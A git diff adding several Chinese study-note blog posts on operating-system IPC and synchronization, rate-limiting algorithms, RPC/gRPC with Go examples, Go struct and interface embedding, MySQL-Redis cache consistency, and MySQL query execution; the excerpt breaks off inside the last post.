进行了统一,更换平台时便于移植应用程序。目前 Linux 中使用 POSIX 较多,但 System V 同样也存在。自 Linux kernel 2.6.6 ,开始支持 POSIX 的消息队列 API。 + +#### 消息队列的使用场景: + +异步处理(存储传输的数据): + +注册的时候,用户上传的注册信息,先发送给消息队列,消息队列立即给用户返回信息上传成功。而真正的注册步骤是由消息队列把数据发送给服务进行注册。对于用户来说,用户得到反馈的时间主要依赖于写入消息队列的时间。而写入消息队列本身是很快的。 + +应用耦合: +一个图片上传系统需要调用人脸识别系统。第一调用可能失败,第二延迟高,因为需要先让上传系统处理完之后再去调用人脸识别系统,人脸识别系统处理完之后才能返回给客户端,即使用户不需要是立即知道结果。如果使用消息队列,那么这里一个图片上传系统是作为生产者,人脸识别系统是消费者,图片上传系统不需要知道人脸识别系统是否对这些消息进行处理,以及何时对这些消息进行处理。事实上,由于用户不需要立即知道人脸识别的结果,因此人脸识别系统可以按照不同的调度策略,按照闲时、忙时对队列中的照片进行处理。 + +限流削峰: + +购物的秒杀活动,一般因为瞬时访问量太大,服务器承受不了,但是如果增加一个消费队列,让大量的请求存储到消息队列,然后让服务器以可以承受的速度去处理请求。好处是:请求都是先进入队列,而不是由业务系统直接处理,减小了业务处理系统的压力。对于请求的队列长度可以做限制,在秒杀的场景下,事实上,后面进入的用户请求是无法被处理的,那么请求可以直接抛弃,返回给用户活动已经结束,商品已经售完。 + +消息驱动系统: +一个人脸识别系统需要对这个用户的所有照片进行聚类,聚类完成之后对该用户重新生成用户的人脸索引(加快查询)这三个子系统由消息队列连接起来,前一个阶段的处理结果放入消息队列,然后后一个阶段从中取出消息继续处理。这个的好处是:避免了直接调用下一个系统导致当前系统失败。每个子系统在处理消息的时候可以灵活处理。(定时处理,立即处理,不同速度处理。) + +#### 共享内存 + +共享内存的本质是:映射一段能够被其他进程访问的内存。一个进程创建一段共享内存,但是多个进程都可以访问。共享内存是最快的进程间通信方式,常常与其他通信机制配合使用,如信号量,来实现进程间的同步和异步。 + +#### Socket + +Socket 通信和其他通信机制不同的是,它用于不同机器间的进程通信。 + +#### 比较 + +- 管道:速度慢,容量有限。 +- 共享内存是最快的 IPC 方式。 +- Socket 任何两个进程都可以通信(但是速度慢) +- 信号量,只能用来同步,不能传递复杂消息。 +- 消息队列:容量收到系统限制 + +### 线程间的同步方式? + +临界区:把多线程的串行化来访问公共资源。 +缺点:但是只能用于同步同一个进程间的线程,不同用来同步多个进程间的线程。 + +互斥量:为协调共同对一个共享资源的单独访问而设计。**互斥对象只有一个,并且只有拥有互斥对象的线程才具有访问资源的权限** 互斥量不仅可以用于同一个进程的不同的线程,还可以用于不同进程的线程之间。 + +互斥量是可以跨越进程使用,所以创建的互斥量需要的资源更多,所以如果只是在进程内部使用,那么使用临界区可以减少资源占用量。 + +信号量: +用户资源是有限的,允许多个线程在同一个时刻访问同一资源,但是需要限制在同一时刻访问次资源的最大的线程数。互斥量是信号量的一种特殊情况。当信号量代表的的最大资源数=1,那么这个信号量就是互斥量。适用场景是:Socket 程序中线程的同步。 + +- 信号量机制必须有公共内存,不能⽤于分布式操作系统,这是它最⼤的弱点; +- 使用时对信号量的操作分散而且难以控制 +- 核心操作 P-V 分散在各用户程序的代码中,不容易管理和控制。 + +事件: +用来通知线程有些事情已经发生,通知后续任务开始。 +事件对象通过通知操作来进行线程同步。不同进程中的线程的同步。 + +#### 临界区和互斥量的异同点? + +> 临界区是一段不能同时被多个线程运行的代码,因为该代码访问共享资源。 + +进入临界区解决冲突的办法: + +- 如果有若干进程要求进入空闲的临界区,一次仅允许一个进程进入 +- 进入临界区的进程必须等待 +- 如果进程不能进入自己的临界区,则应该让出 CPU ,避免忙等待。 + +> 互斥锁用来保护临界区的算法。 +> 信号量和互斥量是互斥锁的常见实现。 + +#### 什么是死锁?死锁产⽣的条件? + +两个进程相互无限的等待下去。 + +死锁产生的四个条件: + +- 互斥条件:一个资源一次只能被一个进程使用。 +- 请求和保持条件:(因为请求被阻塞,但是对已经获得的资源保持不放)一个进程因请求而被阻塞的时,对已经获得的资源保持不放。 +- 不剥夺条件:进程获得资源在未完全使用完之前不可以被强行剥夺。 +- 循环等待条件:若干个进程形成头尾相接的环形等待。 + +### 讲⼀讲 IO 多路复⽤? + +I/O 多路复用是指内核一旦发现进程指定的一个或者多个 IO 条件准备读取,它就**通知**该进程。 +IO 多路复用场合: + +- 客户端处理多个描述字(一般是交互式输入和网络套接字接口),必须使用 IO 多路复用。 +- 如果一个 TCP 服务器既要处理监听套接字,又要处理已连接的套接字,一般也要用到 IO 复用。 +- 一个服务器既要处理 TCP 又要处理 UDP ,一般要用到 IO 复用。 +- 与多进程和多线程技术相比,IO 多路复用的最大优点是:系统开销小。系统不用创建进程/线程,也不用维护这些进程,线程,大大减小系统的开销。 + +### 中断的处理过程? + +- 保存现场到寄存器。 +- 打开中断,便于响应较高级别的中断请求。 +- 中断处理 +- 关中断,保证恢复现场的时候不被新的中断打断 +- 恢复现场:从堆栈中按序取出程序数据,恢复中断前的状态。 + +### 中断和轮询有什么区别? + +> 轮询: + +CPU 对特定设备轮流询问。 + +> 中断: + +通过特定事件提醒 CPU + +### TCP 三次握手机制?为什么要三次握手? + +第一步: +客户端 TCP 向服务端的 TCP 发送 +(待补充 S) diff --git a/_posts/2023-1-10-test-markdown.md b/_posts/2023-1-10-test-markdown.md new file mode 100644 index 000000000000..27db467b8ec1 --- /dev/null +++ b/_posts/2023-1-10-test-markdown.md @@ -0,0 +1,76 @@ +--- +layout: post +title: 限流场景大乱炖? +subtitle: +tags: [限流] +--- + +### 计数器 + +计数器就是对请求进行计数,不断的与阀值进行比较判断是否限流,一旦到达了临界点,将计数器清零。就是一个时间窗口,这个时间窗口允许的请求数为一定数值。 + +程序的执行逻辑是: + +- 在程序设置一个变量 count,每次过来一个请求就+1,同时计算请求的时间。 +- 当下一次请求来的时候,判断 count 的计数值是否超过,以及当前请求的时间和前一次请求的时间是否在 1 分钟之内。 +- 如果一分钟之内请求的次数超过设定的阀值,证明请求过多,后面的请求就拒绝。 -但是如果请求的时间间隔大于计数周期。而且 count 也在限流的范围内,重置 count. + +但是存在的问题是,我可以在重置时间的前后间隔的时间段发送 2 倍的请求。重置的前后很短很短的时间内。 + +### 滑动窗口 + +> 关键是在于:多个时间格子使得可以记录两个时间格子的『临界时间』前后的请求总量,而不是丢弃临界前的请求量。 + +滑动窗口的本质是把固定的时间片进行划分,并且随着时间的流逝,进行一定移动固定数量和格子,进行计数并判断阀值。 + +一个时间窗口(一分钟)每个时间窗口有六个格子,每个格子都是 10 秒钟。每过 10 秒钟时间窗口向右移动一个格。每个格子都有一个独立的计数器。一个请求在 0:45 访问了我们第五个格子,那么第 5 个格子的计数器+1,在判断限流的时候只需要把所有的格子的计数加起来和设定的频次进行比较即可。 + +当用户在 0:59 秒钟发送了 200 个请求就会被第六个格子的计数器记录 +200,当下一秒的时候时间窗口向右移动了一个,此时计数器**已经记录了该用户发送的 200 个请求**,所以再发送的话就会触发限流,则拒绝新的请求。 + +计数器就是一个滑动窗口,只不过只有一个格子而以,所以为了让限流做的更加精确就只需要划分更多的格子,格子的数量影响滑动窗口的算法的精度,仍然有时间片的概念。 + +### 漏桶算法(Leaky Bucket) + +原理就是一个固定容量的漏桶,有水流进来,也有水流出去。但是对于流进来的水无法预计以共有多少,但是对于流出去的水,这个桶可以以固定的水流速度,从而达到流量控制的效果。 + +实现步骤: + +- 调用方发出请求,如果桶没有满,那么返回调用方,请求已经被接收,被接收的请求进入下一步。如果已经满了,那么丢弃请求,请求调用失败,直接返回,调用方继续发出请求调用。 +- 被接收的请求同步执行:调用方请求的时候,如果请求可以被放入桶,那么调用方所在的线程被阻塞,水滴从漏桶流出的时候,唤醒调用方线程,执行具体的业务。 +- 被接收的请求异步执行:调用方请求的时候,如果请求可以被放入桶,那么调用方所在的线程收到响应,方法将异步执行,水滴从漏桶流出的时候,水滴代理执行具体的业务。 + +> 只有通过水滴露出的时候,去执行业务方法,才能保证方法被“匀速的”执行。 + +漏桶算法的特点: + +- 漏桶具有固定的容量,出水速率是固定的常量 +- 桶是空的就不需要流出水滴。 +- 可以以任意的速率流入请求到漏桶 +- 如果流入的请求超出了桶的容量,则流入的请求被拒绝。 +- 漏桶限制的是常量流出的速率,所以最大的速率就是出水速率,不能出现突发流量。 + +### 令牌桶算法(Token Bucket) + +> 令牌桶算法用来控制发送到网络上的数据的数目。允许突发数据的发送。 + +实现步骤: + +- 调用方发出请求,判断,如果桶中没有令牌就丢弃该请求,由调用方重新发送请求。如果桶中有令牌,那么就从桶中取出一个令牌,只有拿到令牌,请求才能被执行。 + +往令牌桶添加令牌的算法: + +- 定时生成:(消耗资源)专门的线程匀速往桶添加 1 个令牌。如何令牌桶已经满了就不再添加。 +- 获取令牌时重新计算“应该有的”令牌数然后进行令牌补充。(上次刷新时间-当前时间)\*生成速率 + +令牌桶有如下特点: + +- 令牌按照固定的速率被放入令牌桶 +- 如果令牌桶满了,新添加的令牌将被丢弃或者拒绝 +- 令牌桶限制的流入速率(允许突发情况,只要有令牌就能被处理。因为一次可以拿 3 个令牌,四个令牌) + +### 计数器/滑动窗口/令牌桶/漏桶 + +都是针对服务器的限流。我们也可以对容器进行限流,比如对 Tomcat, Nginx 等限流手段。 + +Tomcat 可以限制最大线程数,当并发超过最大的线程的数的时候就会排队。 +Nginx 提供了两种限流手段:一是控制速率,二是控制并发连接数 diff --git a/_posts/2023-1-16-test-markdown.md b/_posts/2023-1-16-test-markdown.md new file mode 100644 index 000000000000..a61678b37de6 --- /dev/null +++ b/_posts/2023-1-16-test-markdown.md @@ -0,0 +1,268 @@ +--- +layout: post +title: gRPC RPC Thrift HTTP的区别? +subtitle: +tags: [RPC] +comments: true +--- + +### 什么是 RPC ? + +Remote Procedure Call Protocal 远程过程调用协议。 + +> 目的是为了让远程服务调用更加的简单透明。 + +为什么说服务变得更加的透明? +因为本地调用的方法(本质的服务提供者在远程),也就是说 Client 端口调用的方法,具体的实现是在远程。 + +```go +// client.go +package main + +import ( + "context" + "log" + + "grpc-demo/product" + + "google.golang.org/grpc" +) + +const ( + address = "localhost:50051" +) + +func main() { + conn, err := grpc.Dial(address, grpc.WithInsecure()) + if err != nil { + log.Println("did not connect.", err) + return + } + defer conn.Close() + + client := product.NewProductClient(conn) + ctx := context.Background() + + id := Addpb(ctx, client) + Getpb(ctx, client, id) +} + +func Addpb(ctx context.Context, client product.ProductClient) (status string) { + req := &product.AddProductReq{Name: "Mac Book Pro 2019", Description: "From Apple Inc."} + pb, err := client.AddProduct(ctx, req) + if err != nil { + log.Println("add pb fail.", err) + return + } + log.Println("add pb success, status= ", pb.Status) + log.Println("add pb success, id = ", pb.Id) + return pb.Id +} + +// 获取一个商品 +func Getpb(ctx context.Context, client product.ProductClient, id string) { + req := &product.GetProductReq{ + Id: id, + } + p, err := client.GetProduct(ctx, req) + if err != nil { + log.Println("get pb err.", err) + return + } + log.Printf("get prodcut success : %+v\n", p) +} +``` + +```go +// server.go +package main + +import ( + "context" + "errors" + "log" + "net" + + "grpc-demo/product" + + "github.com/nacos-group/nacos-sdk-go/v2/inner/uuid" + "google.golang.org/grpc" +) + +type server struct { + productMap map[string]*product.AddProductReq +} + +func (s *server) AddProduct(ctx context.Context, in *product.AddProductReq) (*product.AddProductReply, error) { + resp := &product.AddProductReply{} + out, err := uuid.NewV4() + if err != nil { + return resp, errors.New("err while generate the uuid ") + } + id := out.String() + if s.productMap == nil { + s.productMap = make(map[string]*product.AddProductReq) + } + s.productMap[id] = in + resp.Id = id + resp.Status = "200" + return resp, nil +} + +func (s *server) GetProduct(ctx context.Context, in *product.GetProductReq) (*product.GetProductReply, error) { + resp := &product.GetProductReply{} + v, ok := s.productMap[in.Id] + if ok { + resp = &product.GetProductReply{ + Id: in.Id, + Name: v.Name, + Description: v.Description, + } + return resp, nil + } else { + return resp, errors.New("not product") + } +} + +var port = ":50051" + +func main() { + listener, err := net.Listen("tcp", port) + if err != nil { + log.Println("net listen err ", err) + return + } + + s := grpc.NewServer() + product.RegisterProductServer(s, &server{}) + log.Println("start gRPC listen on port " + port) + if err := s.Serve(listener); err != nil { + log.Println("failed to serve...", err) + return + } +} +``` + +可以看到服务端的两个方法 Addpb 和 Getpb 本质是调用的`client.AddProduct(ctx, req)`和 `client.GetProduct(ctx, req)`这两个方法。得到的返回值,一个是远程调用的结果,一个是错误,既然 Client 端调用的方法,都可以直接得到远程的调用结果,服务难道不是变得更加的简单和透明? + +而具体的的服务端只是实现了 client 调用的`(ctx context.Context, in *product.AddProductReq) (*product.AddProductReply, error)`方法 和` GetProduct(ctx context.Context, in *product.GetProductReq)`方法。 + +### 为什么需要 RPC ? + +RPC 就是把公共的业务逻辑抽离出来,将这些组成独立的 Service 应用,主要可以做消息的转发服务,消息的广播服务。 + +### RPC 框架 ? + +gRPC 不限语言,不限平台,开源的远程过程调用。 +Thrift:是一个软件框架 +Dubbo 分布式服务框架,以及 SOA 治理方案 +Spring Cloud 由众多的子项目构成。 + +### RPC 的通信细节是什么样子的?(是如何对通信细节进行封装的?) + +client 以本地调用的方式调用服务。 +client stub 接收到调用以后,负责将方法,参数等组装成可以进行网络传输的消息体 +client stub 找到服务地址,并把消息发送到服务端 +server stub 接收到消息,然后进行解码 +server stub 根据解码结果,然后调用本地服务 +本地服务执行并把结果返回给 server stub +server stub 将返回的结果打包成消息发送到消费方 +client stub 接收到消息,解码 +服务消费方得到最终的结果。 + +简单来说,一共是 12 个步骤: + +```text +Client +1↓ ↑12 +消息编码 +2↓ ↑11 +ClientStub +3↓ ↑10 +Network +``` + +```text +server +7↓ ↑6 +消息编码 +8↓ ↑5 +ClientStub +9↓ ↑4 +Network +``` + +1-封装请求 +2-编码 +3-发送 +4-接收 +5-解码 +6-发射调用本地方法 +7-封装响应 +8-编码 +9-发送 +10-接收 +11-解码 +12-得到结果 + +### What is gRPC? + +> gRPC 通信的双方可以进行二次开发,gRPC 的客户端和服务端之间的通信会更加关注于业务层面的内容。 +> gRPC 通过 protocol Buffers 编码格式承载数据。 +> 定义了远程过程调用写 + +简单的来说,gRPC 就是客户端和服务端在开启 gRPC 功能后建立连接,将设备上配置的订阅数据推送给服务端。整个过程需要把 Protocol Buffers 将需要处理的结构化数据在 proto 文件中间进行定义。Protocol Buffer 主要用来定义数据结构,定义服务接口,通过序列化和返序列化的方式提升传输效率。 + +### gRPC 具体的交互过程? + +三个角色:交换机,gRPC 客户端,gRPC 服务端 + +交换机在开启 gRPC 功能后充当 gRPC 客户端的角色 +交换机会根据订阅的事件构建对应的数据的格式,通过 Protocol Buffers 进行编写 proto 文件,交换机与服务器建立 gRPC 通道,通过 gRPC 协议向服务器发送请求消息。 +服务器接收到请求消息以后,服务器通过 Protocol Buffers 解译 proto 文件,还原出最先定义好的数据结构,进行业务处理。 + +数据处理完后,服务端通过 Protocol Buffers 重译应答数据,通过 gRPC 协议向交换机应答消息。 + +交换机收到应答消息后,结束本次的 gRPC 调用。 + +### gRPC 特点? + +业务双方需要了解彼此的数据模型。 +protocol Buffers 编码格式承载数据 +定义了远程过程调用的协议的交互格式。 + +gRPC 承载在 HTTP2.0 协议以上。 + +> HTTP2.0 多路复用,二进制帧,头部压缩,推送机制。 +> 通过 proto 文件生成 stub 文件 +> 通过 proto3 工具生成指定语言的数据结构,服务端和客户端 stub,通信协议是 HTTP/2,支持双向流,消息头压缩,单 TCP 的多路复用,服务端推送等特性。 +> 序列化支持 PB 和 JSON +> 基于 HTTP/2+PB 保证了 RPC 的高性能 + +### protocol Buffers ? + +### HTTP 2.0 标准涉及? + +HTTP/2.0 是 HTTP/1.x 的重大更新,它引入了许多为了提高性能和效率的新特性。以下是 HTTP/2.0 涉及的主要内容: + +二进制帧层:在 HTTP/2 中,所有通信都是通过二进制帧完成的。这些帧可以在连接上并行交付,从而实现请求和响应的多重复用。 + +多路复用:在一个单一的 TCP 连接上,多个请求和响应可以同时进行,消除了 HTTP/1.x 中由于多个连接造成的重叠和阻塞。 + +首部压缩:HTTP/2 使用 HPACK 压缩格式减少了请求和响应头部的大小,从而减少了带宽使用和延迟。 + +服务器推送:这允许服务器预先发送客户端尚未请求的数据,从而更快地加载资源。 + +优先级和依赖性:客户端可以设置请求的优先级。这允许更重要的请求更快地完成,从而优化资源的加载。 + +流控制:它允许客户端或服务器暂停或恢复某个特定的数据流,确保更高优先级的请求首先得到满足。 + +单一连接:只需要一个 TCP 连接来加载页面,这减少了额外的延迟时间和资源开销。 + +更强的安全性:虽然 HTTP/2 自身并不强制使用 TLS,但在实际的部署中,许多客户端(如浏览器)只支持在 TLS 上使用 HTTP/2。 + +连接协商:HTTP/2 使用 ALPN (应用层协议协商) 扩展,允许客户端和服务器选择使用 HTTP/2 还是退回到 HTTP/1.x。 + +减少网络噪声:通过二进制协议和其他优化,HTTP/2 旨在减少无效的网络“噪声”。 + +HTTP/2 的设计目标是提高性能,减少延迟,同时保持与 HTTP/1.x 的语义兼容。在大多数情况下,只需修改服务器和客户端软件就可以无缝切换到 HTTP/2,而无需修改应用本身。 \ No newline at end of file diff --git a/_posts/2023-1-17-test-markdown.md b/_posts/2023-1-17-test-markdown.md new file mode 100644 index 000000000000..11ed0c76d1d2 --- /dev/null +++ b/_posts/2023-1-17-test-markdown.md @@ -0,0 +1,170 @@ +--- +layout: post +title: 结构体内嵌? +subtitle: +tags: [golang] +comments: true +--- + +> 很基础的知识总结 + +### 结构体内嵌结构体 + +形式:A 结构体内有 B 结构体(并且是匿名字段的形式,相当于继承。) + +作用:A 可以重写 B 的方法(也就是俗称的方法覆盖) + +### 接口内嵌接口 + +形式:A 结构体内部有 B 接口,并且 B 是匿名字段的形式。 + +作用:A 有 B 的所有的方法,并且 A 的方法名不能 B 的方法重复但是 A 和 B 的方法类型又不同。(这一点有点问题,因为在代码中是可以这么写的) + +```go +// 可以 +type Father interface { + Name() +} + +type Son interface { + Father + Age() + Name() +} + +type perso struct { +} + +func (p perso) Age() { + fmt.Println("perso age") +} + +func (p perso) Name() { + fmt.Println("perso name") +} + +func Run() { + var s Son = perso{} + s.Age() + s.Name() + +} +``` + +```go +// 可以 +type Father interface { + Name(string) +} + +type Son interface { + Father + Age() + Name(string) +} + +type perso struct { +} + +func (p perso) Age() { + fmt.Println("perso age") +} + +func (p perso) Name(string) { + fmt.Println("perso name") +} + +func Run() { + var s Son = perso{} + s.Age() + s.Name("test") +} +``` + +```go +// 不可以 +type Father interface { + Name(string) +} + +type Son interface { + Father + Age() + Name() +} + +type perso struct { +} + +func (p perso) Age() { + fmt.Println("perso age") +} + +func (p perso) Name() { + fmt.Println("perso name") +} + +func Run() { + var s Son = perso{} + s.Age() + s.Name("test") +} +``` + +### 实现接口 + +形式:A 结构体实现了 B 接口的所有的方法 + +作用:A 接口体的实例可以赋值给 B 接口变量 + +```go +var temp B=A{} +``` + +### 动态类型 + +形式:动态类型是指一个接口变量可以存储不同的实现了该接口的结构体(接口指针)的实例。 + +作用:如果一个函数接受多个不同的结构体实例,那么函数的参数类型就可以是接口类型。 + +```go +type Person interface{ + Name() + Age() +} + +type Woman struct{} + +func (w Woman ) Name(){ + +} +func (w Woman ) Age(){ + +} + +type Man struct{} + +func (w Man ) Name(){ + +} +func (w Man ) Age(){ + +} + +func Print(p Person ){ + p.Name() + p.Age() +} +``` + +### 结构体内嵌结构体+接口实现 + +形式:A 结构体内嵌 B 结构体,B 接口体实现了一些方法,A 既可以重写 B,如果 B 实现了 C 接口,那么这个时候,A 相当于也实现了 C 接口。 + +作用:通过内嵌一个匿名结构体 B,达到拥有 B 结构体的所有方法,进而**间接实现**B 结构体实现的接口,使得 A 可以被赋值给 C 接口变量。 + +### 结构体内嵌接口+接口实现 + +形式:A 结构体内嵌 B 接口,C 实现了 B 接口,当 A 接口体的 B 字段被赋值为 C 的实例,那么这个时候就是结构体内嵌结构体。但是不同在于:A 结构体的 B 字段还可以被赋值为 D 结构体实例(D 接口体实例实现了 B 接口) + +作用:如果一个结构体的某个字段可以是多个不同的结构体实例,那么结构体内嵌接口就比较好。 diff --git a/_posts/2023-1-18-test-markdown.md b/_posts/2023-1-18-test-markdown.md new file mode 100644 index 000000000000..c09cbabd04b0 --- /dev/null +++ b/_posts/2023-1-18-test-markdown.md @@ -0,0 +1,150 @@ +--- +layout: post +title: MySQL和Redis如何保证数据一致? +subtitle: +tags: [Redis] +comments: true +--- + +### 重点结论: + +**在满足实时性的条件下,不存在 MySQL 和 Redis 一致的方案,只有最终一致性方案** + +> 不存在 MYSQL 和 Redis 实时保证一致的方案,只有 Mysql 和 Redis 最终一致的方案。 + +最终一致性方案主要有: + +坏的方案: +1-先写 Mysql ,再写 Redis +2-先写 Redis,再写 Mysql +3-先删除 Redis,再写 Mysql + +好的方案: + +4-先删除 Redis,再写 Mysql,再删除 Redis +5-先写 Mysql,再写 Redis +6-先写 Mysql,通过 binlog ,异步更新 Redis + +### 先写 Mysql ,再写 Redis(更新请求) + +> 前提条件:是写/更新请求,对于读请求一律先去读 Redis,数据在 Redis 里面不存在的时候,再去 Mysql 读 DB。 + +存在的问题: + +高并发场景:请求 A 先后发出两个操作,操作 A1 和 A21,请求 B 也先后发出两个操作 B1 和 B2 + +A1 操作:更新 Mysql 为 10 +A2 操作:更新 Redis 为 10 + +B1 操作:更新 Mysql 为 11 +B2 操作:更新 Redis 为 11 + +但是实际请求的执行次序是: + +A1 B1 (Mysql 为 11) +B2 A2 (Redis 为 10) + +造成 Mysql 和 Redis 的数据的不一致。 + +造成问题的原因是:A 请求在写 Redis 的时候,卡了一下,如果写 Redis 的请求有延迟,并且在这个期间,其他请求比 A 请求先一步写了 Mysql 和 Redis,那么造成了数据的不一致。**最主要的原因还是:A 写 Redis 的时候可能延迟,导致 B 请求在这请求之前写 Mysql,覆盖了 A 对 Mysql 的写,并且在 A 写 Redis 之前,B 已经写了 Redis** + +### 先写 Redis,再写 Mysql(更新请求) + +存在的问题: + +高并发场景:请求 A 先后发出两个操作,操作 A1 和 A21,请求 B 也先后发出两个操作 B1 和 B2 + +A1 操作:更新 Redis 为 10 +A2 操作:更新 Mysql 为 10 + +B1 操作:更新 Redis 为 11 +B2 操作:更新 Mysql 为 11 + +但是实际请求的执行次序是: + +A1 B1 (Redis 为 11) +B2 A2 (Mysql 为 10) + +造成 Mysql 和 Redis 的数据的不一致。 + +造成问题的原因是:A 请求在写 Mysql 的时候,卡了一下,如果写 Mysql 的请求有延迟,并且在这个期间,其他请求比 A 请求先一步写了 Redis 和 Mysql ,那么造成了数据的不一致。**最主要的原因还是:A 写 Redis 的时候可能延迟,导致 B 请求在这请求之前写 Redis,覆盖了 A 对 Redis 的写,并且在 A 写 Mysql 之前,B 已经写了 Mysql** + +### 先删除 Redis,再写 Mysql(A 是更新请求,B 是读请求,但是 B 的读请求会回写 Redis) + +存在的问题: + +高并发场景:请求 A 先后发出两个操作,操作 A1 和 A2,请求 B 也先后发出三个操作 B1 ,B2 和 B3 + +A1:删除缓存 10 +A2:更新 Mysql 为 11 + +B1: 查询 Redis 缓存未命中 +B2:查询 Mysql 为 10 +B3:回写缓存。 + +但是实际请求的执行次序是: + +A1 B1 B2 A2 B3 + +(此时 Mysql 为 11,但是 Redis 为 10) + +造成 Mysql 和 Redis 的数据的不一致。 + +造成问题的原因是: + +A 请求在删除了缓存 10 后,但是更新 MySql 为 11 的时候卡顿了一下,这个时候,导致其他读请求因为 A 的删除缓存而读出 Mysql 的未更新的数据,并把未更新的数据回写到 Redis. **最主要的原因是读请求读出未更新的数据并回写到 Redis 导致数据的不一致。** + +### 先删除 Redis,再写 Mysql,再删除 Redis(缓存双删) + +存在的问题: + +高并发场景:请求 A 先后发出三个操作,操作 A1 A2 A3,请求 B 也先后发出三个操作 B1 ,B2 和 B3 + +A1:删除缓存 10 +A2:更新 Mysql 为 11 +A1:删除缓存 10 + +B1: 查询 Redis 缓存未命中 +B2:查询 Mysql 为 10 +B3:回写缓存为 10。 + +但是实际请求的执行次序是:A1 B1 B2 A2 B3 A3 + +A 请求在删除了缓存 10 后,但是更新 MySql 为 11 的时候卡顿了一下,这个时候,导致其他读请求因为 A 的删除缓存而读出 Mysql 的未更新的数据,并把未更新的数据回写到 Redis. **最主要的原因是读请求读出未更新的数据并回写到 Redis 导致数据的不一致。**但是只要 A 请求再删除一次缓存 10 就可以避免这个问题。如果写失败,那么增加重试,可以借助消息队列的重试机制,也可以自己整个表记录重试次数。 + +优化:**请求的 A 的二删操作建议将删除请求异步入队列。** + +### 先写 Mysql,后删除 Redis(实时性下比较推荐的方案) + +存在的问题: + +高并发场景:请求 A 先后发出 2 个操作,操作 A1 A2 ,请求 B 也先后发出 4 个操作 B1 ,B2 , B3 ,B4 + +A1:更新 Mysql 为 11 +A2:删除缓存 10 + +B1: 查询 Redis 缓存命中,返回 10 +B2:查询 Redis 缓存未命中 +B3:查询 Mysql 为 11。 +B4:回写缓存为 11。 + +但是实际请求的执行次序是:A1 B1 A1 B2 B3 B4 + +A 请求先更新 Mysql,导致其他读请求在 A 请求更新 Mysql 后依旧读出缓存中的旧数据,返回旧数据,但是第二次再来读请求的时候,旧的缓存数据被删除,导致第二次未命中缓存,然后该读请求的回写操作使得新的数据被同步到 Redis 使得 Redis 和 Mysql 数据一致。 + +需要满足的条件: + +- 缓存刚好失效 +- 请求 B 从数据库查出 10,回写缓存的耗时比请求 A 写数据库,并且删除缓存的时间长。 + +对于第二个条件,更新 DB 肯定比查询耗时要长。 + +### 先写 Mysql,通过 Binlog+kafka 异步更新 Redis(最终一致性下比较推荐的方案) + +高并发场景:请求 A 先后发出 1 个操作 + +A1:更新 Mysql 为 11 + +但是再这个过程中 Mysql 监听 binlog,然后把 binlog 请求更新进入消息队列,Redis 按照顺序消费消息队列的消息+重试机制来更新 Redis + +**这个是最终一致性方案,但是不能保证实时性。** diff --git a/_posts/2023-1-19-test-markdown.md b/_posts/2023-1-19-test-markdown.md new file mode 100644 index 000000000000..5e42d0ede44f --- /dev/null +++ b/_posts/2023-1-19-test-markdown.md @@ -0,0 +1,1030 @@ +--- +layout: post +title: MySQL的原理和实践? +subtitle: 原理先行,实践验证 +tags: [Mysql] +comments: true +--- + +### MYSQL 的基础架构——sql 查询语句的执行流程 + +Mysql 的逻辑架构主要包括三部分:Mysql 客户端 Server 层和存储引擎层。 + +> 下面是一条连接命令 + +```shell +$ mysql -h$ip -u$user -p +``` + +Mysql 客户端:连接命令中的 mysql 是客户端工具,用来和服务端建立连接,完成经典的 TCP 握手之后,连接器就要开始认证身份。 + +> 如果认证通过,那么读出权限表里面查询该用户拥有的权限,这个连接里面的权限判断逻辑都依赖于此时读到权限。也就是说如果用管理员帐号对这个用户的权限进行修改,这种修改不会影响该连接,因为该连接需要的权限已经读取。如果客户端太长时间没有动静,那么连接器就会自动断开。如果在连接被断开之后,客户端再次发送请求的话,就会收到一个错误提醒: Lost connection to MySQL server during query。这时候如果要继续,就需要重连,然后再执行请求了。 + +Server 层:『连接器』『查询缓存』『分析器,优化器,执行器』 + +Server 层功能:内置函数,触发器,存储过程,视图。 + +- 『连接器』:管理连接,权限验证。 +- 『查询缓存』:命中就直接返回结果 +- 『分析器』:词法分析,语法分析 +- 『优化器』:生成具体的执行流程,选择索引。 +- 『执行器』:操作引擎,返回结果。 + +> 一句话总结就是:通过 mysql 连接器的权限验证之后,sql 语句被交给 mysql 分析器分析这条语句的语法和词法,然后通过 mysql 优化器选择索引并生成这条语句的具体的执行流程,最后具体的执行流程被交给 mysql 执行器,mysql 执行器选择要存储引擎,返回结果。 + +『连接器』 + +> 客户端连接分为长连接和短连接,长连接是指连接成功以后,如果客户端持续有需求,则一直使用同一个连接,短连接是指每次执行很少几次查询后就断开连接,下次查询就再重新建立一个。 + +> 所以尽量减少使用连接的动作,但是全部使用长连接以后,有的时候 Mysql 占用的内存涨的特别块。这个是因为 MYSQL 再执行的过程中使用的内存是管理在连接对象里面的,资源只有在断开连接的时候才会释放。长连接累积下来,就可能导致内存占用很大,被系统强行杀掉。那么就会导致 MYSQL 异常重启了。 + +> MYSQL 长连接导致内存过大被系统杀死后,异常重启问题的解决: +> 定期断开长连接,使用一段时间,或者在程序执行了一个占用很大内存的大查询之后,断开连接,之后的查询要重连。 +> 具体解决方案是:每次执行完大操作之后,执行 mysql_reset_connection 来重新初始化连接。这个过程不需要重连和做权限验证,只是恢复连接刚刚创建完成的状态。 + +『查询缓存』 + +> 连接建立完毕,就可以执行 select 语句,那么执行逻辑来到第二步:查询缓存。MYSQL 拿到一个查询请求之后,就会先到查询缓存看看,查询缓存顾名思义就是:查询语句的缓存。先看看查询缓存里面是不是有执行过该语句,如果执行过,那么之前执行的语句和结果可能被以 KEY——VALUE 的形式直接缓存到内存,KEY 是查询的语句,VALUE 是查询的结果。如果查询能在缓存中找到 KEY,那么 VALUE 就会被直接返回给客户端。 + +> 如果语句不在查询缓存中,那么继续执行后面的阶段,执行结束之后,执行结果被存入查询缓存。 + +> 如果查询直接命中缓存,那么 MYSQL 就不需要执行后面复杂的操作,直接返回给客户端。 + +但是不建议使用查询缓存,这是为什么?因为查询缓存的缺点大于优点。因为查询缓存的失效非常的频繁,一个更新操作更新一个表,那么对这个表的所有查询缓存都会被清空。对于更新压力大的表,查询缓存的命中非常的低。除非表是一张静态表。 + +具体的做法是: +设置为 DEMAND `那么默认就不使用缓存,如果是对于要使用缓存的语句,那么就用 + +```shell +mysql> select SQL_CACHE *from T where ID=10; +``` + +『分析器』 + +```shell +mysql> select * from tbl_user where id =10; +``` + +> 如果没有命中缓存,那么开始词法分析,识别 select 这是一个查询语句,tbl_user 这是一个表名,ID 识别为 列名,继续进行语法分析,是 select 而不是 elect,注意语法错误会提示第一个出现错误的位置。 + +『优化器』 + +```shell 